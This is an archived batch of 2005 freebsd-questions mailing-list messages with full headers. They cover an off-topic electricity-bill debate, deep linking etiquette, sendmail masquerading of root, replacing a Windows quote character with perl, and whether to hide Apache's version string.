Halvor [1] Note that in Norway all elecrticity is made from hydroelectric power plants, and not by burning fossil fuel, which is why alot of people don't use electric heating and not wood burning stoves and such. [2] Of course your house needs to be sound and light insulated as well, to ensure that no sounds or light escapes your house, in order for these two scenarios to work. Otherwise some of the energy would be transformed to heat outside your house, and in which case it would show up on your bill. It therefore makes sense to use those energy conserving light bulbs also in Norway and other cold countries. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 10:17:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5EB4C16A4CE for ; Tue, 8 Feb 2005 10:17:34 +0000 (GMT) Received: from av9-1-sn4.m-sp.skanova.net (av9-1-sn4.m-sp.skanova.net [81.228.10.108]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4841643D4C for ; Tue, 8 Feb 2005 10:17:33 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av9-1-sn4.m-sp.skanova.net (Postfix, from userid 502) id 35E9C37E80; Tue, 8 Feb 2005 11:17:32 +0100 (CET) Received: from smtp4-2-sn4.m-sp.skanova.net (smtp4-2-sn4.m-sp.skanova.net [81.228.10.180]) by av9-1-sn4.m-sp.skanova.net (Postfix) with ESMTP id 0E32837E43 for ; Tue, 8 Feb 2005 11:17:32 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp4-2-sn4.m-sp.skanova.net (Postfix) with SMTP id CD96537E43 for ; Tue, 8 Feb 2005 11:17:31 +0100 (CET) Received: (qmail 24678 invoked by uid 1001); 8 Feb 2005 10:17:31 -0000 Date: Tue, 8 Feb 2005 11:17:31 +0100 From: Erik Trulsson To: questions@freebsd.org Message-ID: <20050208101731.GA24666@falcon.midgard.homeip.net> Mail-Followup-To: questions@freebsd.org, freebsd-questions@FreeBSD.org References: <200502051745.25937.hindrich@worldchat.com> <20050207091209.D71459@maren.thelosingend.net> <20050207195715.GE82997@keyslapper.net> <20050208105203.O85721@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208105203.O85721@maren.thelosingend.net> User-Agent: Mutt/1.5.6i cc: freebsd-questions@FreeBSD.org Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 10:17:34 -0000 On Tue, Feb 08, 2005 at 11:12:19AM +0100, Svein Halvor Halvorsen wrote: > > * Louis LeBlanc [2005-02-07 14:57 -0500] > > I'm coming into this thread a bit late, but if you go to > : > > You'll see a neat little gadget that will tell you exactly what your > > computers electrical usage is. > > > I'm not saying that leaving your computer on 24/7 consumes little power. > I'm just saying that in Norway (where I live) and in Sweden (where the > person I replied to seems to live) how much power used by your computers > is irrelevant. > > This is true because: > > 1) Our house need to be heated a lot (more than the computer can provide) True. > 2) Other heatsources are also based on electricity Not necessarily true. It was my message you originally replied to, and the apartment where I live has central heating, such that the heating is included in teh rent, and does not show up on the electricity bill (and I don't think the heating uses electricity anyway.) Power used by the computer is relevant for me, and shows up directly on the electricity bill (while heating does not.) -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 10:17:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 344DD16A4DB for ; Tue, 8 Feb 2005 10:17:37 +0000 (GMT) Received: from av7-2-sn4.m-sp.skanova.net (av7-2-sn4.m-sp.skanova.net [81.228.10.109]) by mx1.FreeBSD.org (Postfix) with ESMTP id A9F0843D2D for ; Tue, 8 Feb 2005 10:17:36 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av7-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id 267B637E48; Tue, 8 Feb 2005 11:17:32 +0100 (CET) Received: from smtp4-2-sn4.m-sp.skanova.net (smtp4-2-sn4.m-sp.skanova.net [81.228.10.180]) by av7-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id 165F437E42 for ; Tue, 8 Feb 2005 11:17:32 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp4-2-sn4.m-sp.skanova.net (Postfix) with SMTP id CF2CF37E45 for ; Tue, 8 Feb 2005 11:17:31 +0100 (CET) Received: (qmail 24678 invoked by uid 1001); 8 Feb 2005 10:17:31 -0000 Date: Tue, 8 Feb 2005 11:17:31 +0100 From: Erik Trulsson To: questions@freebsd.org Message-ID: <20050208101731.GA24666@falcon.midgard.homeip.net> Mail-Followup-To: questions@freebsd.org, freebsd-questions@FreeBSD.org References: <200502051745.25937.hindrich@worldchat.com> <20050207091209.D71459@maren.thelosingend.net> <20050207195715.GE82997@keyslapper.net> <20050208105203.O85721@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208105203.O85721@maren.thelosingend.net> User-Agent: Mutt/1.5.6i cc: freebsd-questions@FreeBSD.org Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 10:17:37 -0000 On Tue, Feb 08, 2005 at 11:12:19AM +0100, Svein Halvor Halvorsen wrote: > > * Louis LeBlanc [2005-02-07 14:57 -0500] > > I'm coming into this thread a bit late, but if you go to > : > > You'll see a neat little gadget that will tell you exactly what your > > computers electrical usage is. > > > I'm not saying that leaving your computer on 24/7 consumes little power. > I'm just saying that in Norway (where I live) and in Sweden (where the > person I replied to seems to live) how much power used by your computers > is irrelevant. > > This is true because: > > 1) Our house need to be heated a lot (more than the computer can provide) True. > 2) Other heatsources are also based on electricity Not necessarily true. It was my message you originally replied to, and the apartment where I live has central heating, such that the heating is included in teh rent, and does not show up on the electricity bill (and I don't think the heating uses electricity anyway.) Power used by the computer is relevant for me, and shows up directly on the electricity bill (while heating does not.) -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 10:18:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7C15016A4CE for ; Tue, 8 Feb 2005 10:18:46 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id E80AD43D2F for ; Tue, 8 Feb 2005 10:18:45 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CySSB-0006ts-00 for ; Tue, 08 Feb 2005 21:18:43 +1100 Date: Tue, 8 Feb 2005 21:18:43 +1100 To: freebsd-questions@freebsd.org Message-ID: <20050208101843.GD21722@thingy.apana.org.au> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> <1008235984.20050207170137@wanadoo.fr> <1107810891.1183.12.camel@p4> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.6+20040907i From: David Gerard Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 10:18:46 -0000 Chad Leigh -- Shire.Net LLC (chad@shire.net) [050208 15:29]: > A lot of new-built houses in the US are installing continuous > circulation systems for hot water, which greatly reduces the time the > HW heater is running, since when you turn on the hot water, you get > instantaneous hot water and don't have to run a ton of water before it > gets hot, which reduces the amount of HW wasted. Also, the new > tankless HW heaters look interesting... > I run my computers all the time, but shut down the ones I rarely use. > So my G4 and G5 are on all the time (unless I leave the house for an Obviously you need to run your hot water system through the servers. Isn't the new G5 watercooled? - d. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 10:45:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9C94C16A4CE for ; Tue, 8 Feb 2005 10:45:34 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0F3C443D53 for ; Tue, 8 Feb 2005 10:45:34 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j18Ajaj09140 for ; Tue, 8 Feb 2005 02:45:36 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Tue, 8 Feb 2005 02:45:35 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <1401586003.20050206121941@wanadoo.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 10:45:34 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Sunday, February 06, 2005 3:20 AM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > Ted Mittelstaedt writes: > > TM> This is a bit of twisting of the definition of "site that > is public" > TM> in my opinion. > > The key distinction is between a venue to which access must be > explicitly requested and one that a person can visit without any > formalities. How exactly do you visit it without any formalities? What if a site is coded with HTML that is undigestible with Netscape and digestible with Explorer. That now requires installation of IE to visit it, which is a way of filtering those who want to visit out. And if there is a guarentee that any request for access will be automatically granted, then it really is no longer a request. A request assumes that the requestee has to grant permission - which assumes that the requestee has the authority and ability to say no, to deny access. If the site has an automatic program that immediately grants access, then the requestee has no power to deny access - which means it's no longer a request. If you go to a HTTPS site that has a self-signed certificate in it, you must explicitly request the public key in order to install it into your browser's root certificate store, if you do not want to have to be prompted every single time you visit the site. If you answer No to the prompt asking you to request the key to put it into your browser, then your access is denied. Yet https sites with self-signed certificates are considered public sites. If I write a program that intercepts all your outbound mail, and whenever you send an e-mail message to a subscription-only mailing list that you are not subscribed to, this program intercepts your outbound mail, sends in a subscription signup, answers the response to activate the subscription, then proceeds to post your outbound message, then from your point of view the mailing list is identical to a totally open, non-request mailing list. If you run this program on your PC and set it to not notify you when this happens, then the autoresponder mailing lists now become transparent, you will not even know if one you send a post to is a subscription list or not. And, do you really believe that spammers AREN'T doing this already? > Asking people to register or subscribe in order > to post to > a forum is requiring an explicit request for access from participants. No it is not - not unless there's a real person reviewing those requests who is filtering them, and not honoring ones they don't like. > This creates a private venue with access limited only to those who have > gone through the formalities. Those formalities must be a bit more serious than a mailing list autoresponder, to be considered a real authentication and access request. > > This has to do with the "moral rights" of copyright holders to control > the manner in which their work is presented. More practically, > it has to > do with the wish of some copyright owners to provide their content for > viewing only under certain conditions beneficial to themselves (such as > on a specific page with advertising). > > I think that linking should be permitted by default, unless > the owner of > a site specifically prohibits it. This allows maximum > flexibility while > still affording protection to people who don't want deep links into > their content. > My feeling is that if a site is extremely difficult to navigate within - such as many news sites (ie cnn.com, etc.) that this encourages deep linking. If the site owners don't want deep linking then they can make their sites easier to navigate within. I do at times deep link because of this but I would prefer not to do it - because quite often this makes it harder to find ancillary material that the user would want to see. My experience is that deep linking is normally counterproductive and if people did a decent jobs with their websites, it wouldn't be an issue because nobody would deep link to them. Putting a 5 minute Flash presentation as the index page of a site is guarenteed to provoke deep linking, for example. Also, if you do have a decent site, and still have problems with referring sites deep linking to you and not changing those links when you politely request them to do so, it's pretty easy to replace the deep link with a html page that redirects to your site index. As for the idea of giving any protection to a site holder that wants to prohibit linking at all, that is as you say, a can of worms. Probably best to allow politeness to handle this, and if the referring site isn't polite about it, there's ways to retaliate. > I think that search engines should respect exclusion policies as a > matter of courtesy. Do any not? If they didn't, then their search database results would not carry as much value. > > On my site, I prohibit deep links, except for search engines under > certain conditions. I don't enforce this much, except on rare > occasions > when someone is pulling just an image off my site, wasting my bandwidth > and effectively pirating the image (but whether or not such linking > constitutes infringement is yet another can of worms). > If they are using it as a component of their site, then I think it does. Ted From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 10:57:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4094316A4CE for ; Tue, 8 Feb 2005 10:57:51 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F30143D58 for ; Tue, 8 Feb 2005 10:57:50 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 06D561C000A4 for ; Tue, 8 Feb 2005 11:57:49 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id CFC121C000A3 for ; Tue, 8 Feb 2005 11:57:48 +0100 (CET) X-ME-UUID: 20050208105748851.CFC121C000A3@mwinf1104.wanadoo.fr Date: Tue, 8 Feb 2005 11:57:48 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1903327238.20050208115748@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1401586003.20050206121941@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 10:57:51 -0000 Ted Mittelstaedt writes: > My feeling is that if a site is extremely difficult to navigate > within - such as many news sites (ie cnn.com, etc.) that this > encourages deep linking. If the site owners don't want deep > linking then they can make their sites easier to navigate within. I tend to agree. It would be much better if these sites provided some easy way to reference specific articles, but often the only way to do so is with a 3000-character URL (and very often the URL still contains things like the session ID or user name of the person who originally pulled up the article). > Putting a 5 minute Flash presentation as the index page of a site > is guarenteed to provoke deep linking, for example. A Flash page at the entrance to a site is the number-one sign that the designer of the sign was a totally clueless newbie. I usually just leave a site that has this glaring defect. If I really need something from the site, I Google specifically on that site to find a deeper link that gets past the Flash content, or I look at the source of the Flash index page and try to find a URL that points past the entrance (although sometimes there's nothing at all--I guess blind people aren't welcome at such sites). I'm happy to say that my own site can be navigated even with lynx. Only one or two pages require any kind of scripting to work correctly. The rest will work with plain text. > Also, if you do have a decent site, and still have problems with > referring sites deep linking to you and not changing those links > when you politely request them to do so, it's pretty easy to > replace the deep link with a html page that > redirects to your site index. I've done that occasionally for deep links directly to images; I've never bothered with links to other pages. Every page contains Javascript that will reload the frames if they aren't there, just to help put any deep-linked page in its proper context (they can turn scripting off, of course, but few people do that). > Do any not? I don't know. The ones I've looked at apparently do. > If they are using it as a component of their site, then I think it does. Probably. But I just configure the server to send them an image that they really don't want to see, and they remove the link soon enough. I don't see it very often, but from time to time I'll see the logs filled with direct links from someone else's site, and then I have to do something. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 11:05:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3E3F416A4CE for ; Tue, 8 Feb 2005 11:05:35 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8102443D1D for ; Tue, 8 Feb 2005 11:05:32 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j18B5Mj09251; Tue, 8 Feb 2005 03:05:26 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Ruben de Groot" Date: Tue, 8 Feb 2005 03:05:21 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050207145431.GA22794@ei.bzerk.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: Ian Moore cc: freebsd-questions@freebsd.org Subject: RE: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 11:05:35 -0000 > -----Original Message----- > From: Ruben de Groot [mailto:mail25@bzerk.org] > Sent: Monday, February 07, 2005 6:55 AM > To: Ted Mittelstaedt > Cc: Ian Moore; freebsd-questions@freebsd.org > Subject: Re: Sendmail masquerading configuration > > > On Sun, Feb 06, 2005 at 02:28:17AM -0800, Ted Mittelstaedt typed: > > > > > > > -----Original Message----- > > > From: owner-freebsd-questions@freebsd.org > > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ian Moore > > > Sent: Sunday, February 06, 2005 2:07 AM > > > To: freebsd-questions@freebsd.org > > > Subject: Sendmail masquerading configuration > > > > > > > > > Hi, > > > I'm hoping someone can help me with this. > > > > > > I want to make sendmail (on a 5.3-Release server) leave the > > > host name out of > > > the sender address when sending mail from that machine. > > > I.E. mail from root currently has a sender address of > > > root@myhost.foo.bar, I > > > want it to be root@foo.bar instead. > > > > > > > Not possible, I think, as I recall masquerading only works on > > users not in the T macro. (ie: Trusted Users) root is > > most definitely in this macro. > > Actually, I believe it's the EXPOSED_USERS macro, and it can be > adjusted; e.g. in sendmail.cf: > > C{E}root > > just remove the root user from this line. In conjunction with a > MASQUERADE_AS macro, this will allow root to send email coming from > your domain without your hostname. If you do this then lots of messages generated by the system will suddenly start generating (at best): X-Authentication-Warning: myhost.foo.bar: root set sender to someuser using -f It also makes it harder to troubleshoot when someone external to your system is sending bogus junk to you. And while it's not applicable now, with older versions of sendmail this would definitely break all your scripts that used e-mail. Use of the -f flag is what he needs to do. Ted From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 11:11:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 947C216A4CE for ; Tue, 8 Feb 2005 11:11:26 +0000 (GMT) Received: from male.aldigital.co.uk (male.thebunker.net [213.129.64.13]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2DF6343D3F for ; Tue, 8 Feb 2005 11:11:26 +0000 (GMT) (envelope-from matthew@thebunker.net) Received: from gravitas.thebunker.net (gateway.ash.thebunker.net [213.129.64.4]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by male.aldigital.co.uk (Postfix) with ESMTP id CBF1297750; Tue, 8 Feb 2005 11:11:24 +0000 (GMT) Received: from gravitas.thebunker.net (localhost [127.0.0.1]) j18BBIR7025300; Tue, 8 Feb 2005 11:11:18 GMT (envelope-from matthew@gravitas.thebunker.net) Received: (from matthew@localhost) by gravitas.thebunker.net (8.13.1/8.13.1/Submit) id j18BBF1p025299; Tue, 8 Feb 2005 11:11:15 GMT (envelope-from matthew) Date: Tue, 8 Feb 2005 11:11:15 +0000 From: Matthew Seaman To: Anthony Atkielski Message-ID: <20050208111115.GA75417@gravitas.thebunker.net> Mail-Followup-To: Matthew Seaman , Anthony Atkielski , freebsd-questions@freebsd.org References: <1667502496.20050208025619@wanadoo.fr> <757352437.20050208034447@wanadoo.fr> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="cWoXeonUoKmBZSoM" Content-Disposition: inline In-Reply-To: <757352437.20050208034447@wanadoo.fr> User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 11:11:26 -0000 --cWoXeonUoKmBZSoM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Feb 08, 2005 at 03:44:47AM +0100, Anthony Atkielski wrote: > Giorgos Keramidas writes: >=20 > GK> It may not be related to what you are seeing, but grep(1) > GK> is locale-aware. What it considers a "text" character > GK> depends on the current locale settings. >=20 > I tried setting LC_ALL to en_US.UTF-8, en_US.ISO8859-15, and > en_US.ISO8859-1, with no effect. The character in question is an > opening double quotation mark in the Windows character set. I want to > find it in my Web pages and replace it by an appropriate HTML escape > sequence. I know it's out there, but grep isn't finding it, or I'm not > telling it how to find the character correctly. Ah -- well, the beauty of Unix is that if the first tool you think of doesn't do the job, then the next one probably will. You can use perl to match and replace arbitrary characters: % perl -pi.bak -e 's/\x93/“/g' foo.html Or you could go for the bulk method and run HTML tidy(1) over the file, which is usually pretty good at converting any-old HTML into something that will pass validation: (ports: www/tidy) http://www.w3c.org/People/Raggett/tidy/ (ports: www/tidy-devel) http://tidy.sourceforge.net/ Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 8 Dane Court Manor School Rd PGP: http://www.infracaninophile.co.uk/pgpkey Tilmanstone Tel: +44 1304 617253 Kent, CT14 0JL UK --cWoXeonUoKmBZSoM Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iQCVAwUBQgieU5r7OpndfbmCAQK++AP/SMIzrkTJ1+iETTW7G5meSYVGiHoifn8C AYboigg5D+1iWzD6mKAQiQ4AZF4sjdIBXrWI1997q5p+SnSb3Ulq3IVM8KQ9Iqts l1e0qWKMozF4wmuWe40wOMNzFKJ63fveSRFxKpSb0bfuqN8Jqkjx0ApaI1MetG9t cNeb6yMd+cw= =NLio -----END PGP SIGNATURE----- --cWoXeonUoKmBZSoM-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 11:11:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 903A116A4CE for ; Tue, 8 Feb 2005 11:11:29 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 22F7643D3F for ; Tue, 8 Feb 2005 11:11:29 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j18BBTj09271; Tue, 8 Feb 2005 03:11:29 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Pat Maddox" , Date: Tue, 8 Feb 2005 03:11:27 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <810a540e0502071359355a641d@mail.gmail.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Change Apache version string X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 11:11:29 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Pat Maddox > Sent: Monday, February 07, 2005 1:59 PM > To: freebsd-questions@freebsd.org > Subject: Change Apache version string > > > I've got mod_php installed as well as mod_jk, so whenever there's a > 404 Apache displays > Apache/2.0.52 (FreeBSD) PHP/4.3.10 mod_jk/1.2.6 > > I'm not sure if I'm being overly paranoid, but I don't really like the > fact that all that info gets displayed. Is there any way I can change > Apache's version string, like I can with any ftp or smtp daemon? Real crackers don't pay attention to the version strings, if they are going to probe your server, they are going to throw all known cracks at it. Ted From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 11:19:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E4D016A4CE for ; Tue, 8 Feb 2005 11:19:14 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 26E2A43D48 for ; Tue, 8 Feb 2005 11:19:14 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j18BJ6j09298; Tue, 8 Feb 2005 03:19:06 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Chad Leigh -- Shire.Net LLC" , Date: Tue, 8 Feb 2005 03:19:04 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 11:19:14 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chad Leigh -- > Shire.Net LLC > Sent: Monday, February 07, 2005 8:29 PM > To: freebsd-questions@freebsd.org > Subject: Re: Electricity bill - OT > > > > A lot of new-built houses in the US are installing continuous > circulation systems for hot water, which greatly reduces the time the > HW heater is running, since when you turn on the hot water, you get > instantaneous hot water and don't have to run a ton of water before it > gets hot, which reduces the amount of HW wasted. This is a gimmick built to sell houses, a cool one, but only in hot climates does it make much difference. In cooler climates the heat from the standing water in the pipes just makes the furnace run less, thus the savings are a wash. > Also, the new > tankless HW heaters look interesting... > those have been around for at least 20 years. As most of them are electric, not natural gas, your going to pay more money for heating water with a bunch of those than with a central gas water heater. Ted From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 11:40:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0AB7516A4CE for ; Tue, 8 Feb 2005 11:40:31 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 970D543D45 for ; Tue, 8 Feb 2005 11:40:30 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j18BeXj09357 for ; Tue, 8 Feb 2005 03:40:33 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Tue, 8 Feb 2005 03:40:31 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <1903327238.20050208115748@wanadoo.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 11:40:31 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Tuesday, February 08, 2005 2:58 AM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > > > If they are using it as a component of their site, then I > think it does. > > 